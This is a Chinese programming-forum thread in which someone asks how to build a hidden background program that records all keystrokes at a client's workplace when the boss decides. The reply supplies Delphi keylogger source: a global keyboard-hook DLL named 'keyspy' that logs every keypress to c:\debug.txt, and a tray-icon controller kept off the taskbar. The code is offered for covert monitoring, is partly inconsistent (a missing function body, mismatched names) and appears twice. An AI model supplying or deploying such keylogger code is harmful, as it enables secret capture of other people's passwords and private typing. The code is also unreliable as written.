紧急求助 现有如下问题,一客户是服务性单位,在为其开发一小软件,要求能够在后台运行,当老板指定程序运行时,能够自动激活并且记录所有键盘按键信息,请问这个记录键盘信息的程序如何写。谢谢。有源码优先给分。 解决方案 » 免费领取超大流量手机卡,每月29元包185G流量+100分钟通话, 中国电信官方发货 利用Hook技术实现键盘监控 在许多系统中,出于安全或其它原因,常常要求随时对键盘进行监控,一个专业的监控程序必须具备两点,一是实时;二是作为指示图标运行。实际应用中把利用Hook(即钩子)技术编写的应用程序添加到Windows的任务栏的指示区中就能够很好的达到这个目的。我在参考了API帮助文档基础上,根据在Delphi开发环境中的具体实现分别对这两部分进行详细论述。一、Hook(钩子)的实现:Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式。1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程。代码如下:library keyspy;useswindows, messages, hookproc in 'hookproc.pas';exportssetkeyhook,endkeyhook;beginnexthookproc:=0;procsaveexit:=exitproc;exitproc:=@keyhookexit;end.2.在Hookproc.pas中实现了钩子具体过程:unit hookproc;interfaceusesWindows, Messages, SysUtils, Controls, StdCtrls;varnexthookproc:hhook;procsaveexit:pointer;function keyboardhook(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;function setkeyhook:bool;export;//加载钩子function endkeyhook:bool;export;//卸载钩子procedure keyhookexit;far;constafilename='c:\debug.txt';//将键盘输入动作写入文件中vardebugfile:textfile;implementationfunction keyboardhookhandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;beginif icode< 0 thenbeginresult:=callnexthookex(hnexthookproc,icode,wparam,lparam);exit;end;assignfile(debugfile,afilename);append(debugfile);if getkeystate(vk_return)< 0 thenbeginwriteln(debugfile,'');write(debugfile,char(wparam));endelsewrite(debugfile,char(wparam));closefile(debugfile);result:=0;end;function endkeyhook:bool;export;beginif nexthookproc< > 0 then beginunhookwindowshookex(nexthookproc);nexthookproc:=0;messagebeep(0); end;result:=hnexthookproc=0;end;procedure keyhookexit;far;beginif nexthookproc< > 0 then endkeyhook;exitproc:=procsaveexit; end;end.二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向TnotifyIconData结构的指针,另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图标添加到指示区中,使其作为图标运行,增加专业特色。当程序起动后,用鼠标右键点击图标,则弹出一个菜单,可选择sethook或endhook。unit kb;interfaceusesWindows, Messages, SysUtils, Classes,Graphics, Controls, Forms,Dialogs,StdCtrls, Menus,shellapi;consticon_id=1;MI_iconevent=wm_user+1;//定义一个用户消息typeTForm1 = class(TForm)PopupMenu1: TPopupMenu;sethook1: TMenuItem;endhook1: TMenuItem;N1: TMenuItem;About1: TMenuItem;Close1: TMenuItem;Gettext1: TMenuItem;procedure FormCreate(Sender: TObject);procedure sethook1Click(Sender: TObject);procedure endhook1Click(Sender: TObject);procedure FormDestroy(Sender: TObject);procedure Close1Click(Sender: TObject);private{ Private declarations }nid:tnotifyicondata;normalicon:ticon;public{ Public declarations }procedure icontray(var msg:tmessage); message mi_iconevent;end;varForm1: TForm1;implementation{$R *.DFM}function setkeyhook:bool;external 'keyspy.dll';function endkeyhook:bool;external 'keyspy.dll';procedure tform1.icontray(var msg:tmessage);varpt:tpoint;beginif msg.lparam=wm_lbuttondown thensethook1click(self);if msg.LParam=wm_rbuttondown thenbegingetcursorpos(pt);setforegroundwindow(handle);popupmenu1.popup(pt.x,pt.y);end;end;procedure TForm1.FormCreate(Sender: TObject);beginnormalicon:=ticon.create;application.title:=caption;nid.cbsize:=sizeof(nid);nid.wnd:=handle;nid.uid:=icon_id;nid.uflags:=nif_icon or nif_message or nif_tip;nid.ucallbackmessage:=mi_iconevent;nid.hIcon :=normalicon.handle;strcopy(nid.sztip,pchar(caption));nid.uFlags:=nif_message or nif_icon or nif_tip;shell_notifyicon(nim_add,@nid);SetWindowLong(Application.Handle,GWL_EXSTYLE,WS_EX_TOOLWINDOW);end;procedure TForm1.sethook1Click(Sender: TObject);beginsetkeyhook;end;procedure TForm1.endhook1Click(Sender: TObject);beginendkeyhook;end;procedure TForm1.FormDestroy(Sender: TObject);beginnid.uFlags :=0;shell_notifyicon(nim_delete,@nid);end;procedure TForm1.Close1Click(Sender: TObject);beginapplication.terminate;end;该程序虽然只用了几个shellai函数,但是它涉及到了在Delphi中对DLL的引用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的内容,我相信这篇文章能对许多Delphi的初学者有所帮助。 Synchronize如何使用匿名方法 类似 站次 排队 问题 难:想在 WindowsMediaPlay 控件上写几个透明字,请会的朋友帮忙。 为什么post后404错误 ADO+DBComboBox怎么能显示完整的一个字段的值(最好有源码,高分奉上) 你在delphi中,用到了多少面向对象的知识? 一个不算小的问题, 用table进行查询,怎么样让它更快??? 如何使窗体上的关闭按钮失效 课程设计马上要交 求助各位大鸟! Delphi&Interbase Question GPRS应用开发讨论
一、Hook(钩子)的实现:
Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现Hook的方式。1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过
程。代码如下:
library keyspy;
uses
windows, messages, hookproc in 'hookproc.pas';
exports
setkeyhook,
endkeyhook;
begin
nexthookproc:=0;
procsaveexit:=exitproc;
exitproc:=@keyhookexit;
end.2.在Hookproc.pas中实现了钩子具体过程:
unit hookproc;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls;
var
nexthookproc:hhook;
procsaveexit:pointer;
function keyboardhook(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
function setkeyhook:bool;export;//加载钩子
function endkeyhook:bool;export;//卸载钩子
procedure keyhookexit;far;
const
afilename='c:\debug.txt';//将键盘输入动作写入文件中
var
debugfile:textfile;
implementation
function keyboardhookhandler(icode:integer;wparam:wparam;
lparam:lparam):lresult;stdcall;export;
begin
if icode< 0 then
begin
result:=callnexthookex(hnexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(debugfile,afilename);
append(debugfile);
if getkeystate(vk_return)< 0 then
begin
writeln(debugfile,'');
write(debugfile,char(wparam));
end
else
write(debugfile,char(wparam));
closefile(debugfile);
result:=0;
end;
function endkeyhook:bool;export;
begin
if nexthookproc< > 0 then begin
unhookwindowshookex(nexthookproc);
nexthookproc:=0;
messagebeep(0); end;
result:=hnexthookproc=0;
end;
procedure keyhookexit;far;
begin
if nexthookproc< > 0 then endkeyhook;
exitproc:=procsaveexit; end;
end.二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操作涉及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向TnotifyIconData结构的指针,另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图标添加到指示区中,使其作为图标运行,增加专业特色。当程序起动后,用鼠标右键点击图标,则弹出一个菜单,可选择sethook或endhook。unit kb;
interface
uses
Windows, Messages, SysUtils, Classes,
Graphics, Controls, Forms,
Dialogs,
StdCtrls, Menus,shellapi;
const
icon_id=1;
MI_iconevent=wm_user+1;//定义一个用户消息
type
TForm1 = class(TForm)
PopupMenu1: TPopupMenu;
sethook1: TMenuItem;
endhook1: TMenuItem;
N1: TMenuItem;
About1: TMenuItem;
Close1: TMenuItem;
Gettext1: TMenuItem;
procedure FormCreate(Sender: TObject);
procedure sethook1Click(Sender: TObject);
procedure endhook1Click(Sender: TObject);
procedure FormDestroy(Sender: TObject);
procedure Close1Click(Sender: TObject);
private
{ Private declarations }
nid:tnotifyicondata;
normalicon:ticon;
public
{ Public declarations }
procedure icontray(var msg:tmessage);
message mi_iconevent;
end;
var
Form1: TForm1;
implementation
{$R *.DFM}
function setkeyhook:bool;external 'keyspy.dll';
function endkeyhook:bool;external 'keyspy.dll';procedure tform1.icontray(var msg:tmessage);
var
pt:tpoint;
begin
if msg.lparam=wm_lbuttondown then
sethook1click(self);
if msg.LParam=wm_rbuttondown then
begin
getcursorpos(pt);
setforegroundwindow(handle);
popupmenu1.popup(pt.x,pt.y);
end;
end;procedure TForm1.FormCreate(Sender: TObject);
begin
normalicon:=ticon.create;
application.title:=caption;
nid.cbsize:=sizeof(nid);
nid.wnd:=handle;
nid.uid:=icon_id;
nid.uflags:=nif_icon or nif_message or nif_tip;
nid.ucallbackmessage:=mi_iconevent;
nid.hIcon :=normalicon.handle;
strcopy(nid.sztip,pchar(caption));
nid.uFlags:=nif_message or nif_icon or nif_tip;
shell_notifyicon(nim_add,@nid);
SetWindowLong(Application.Handle,
GWL_EXSTYLE,WS_EX_TOOLWINDOW);
end;procedure TForm1.sethook1Click(Sender: TObject);
begin
setkeyhook;
end;procedure TForm1.endhook1Click(Sender: TObject);
begin
endkeyhook;
end;procedure TForm1.FormDestroy(Sender: TObject);
begin
nid.uFlags :=0;
shell_notifyicon(nim_delete,@nid);
end;procedure TForm1.Close1Click(Sender: TObject);
begin
application.terminate;
end;该程序虽然只用了几个shellai函数,但是它涉及到了在Delphi中对DLL的引用、钩子实现、对指示区的操作、用户定义消息的处理、文件的读写等比较重要的内容,我相信这篇文章能对许多Delphi的初学者有所帮助。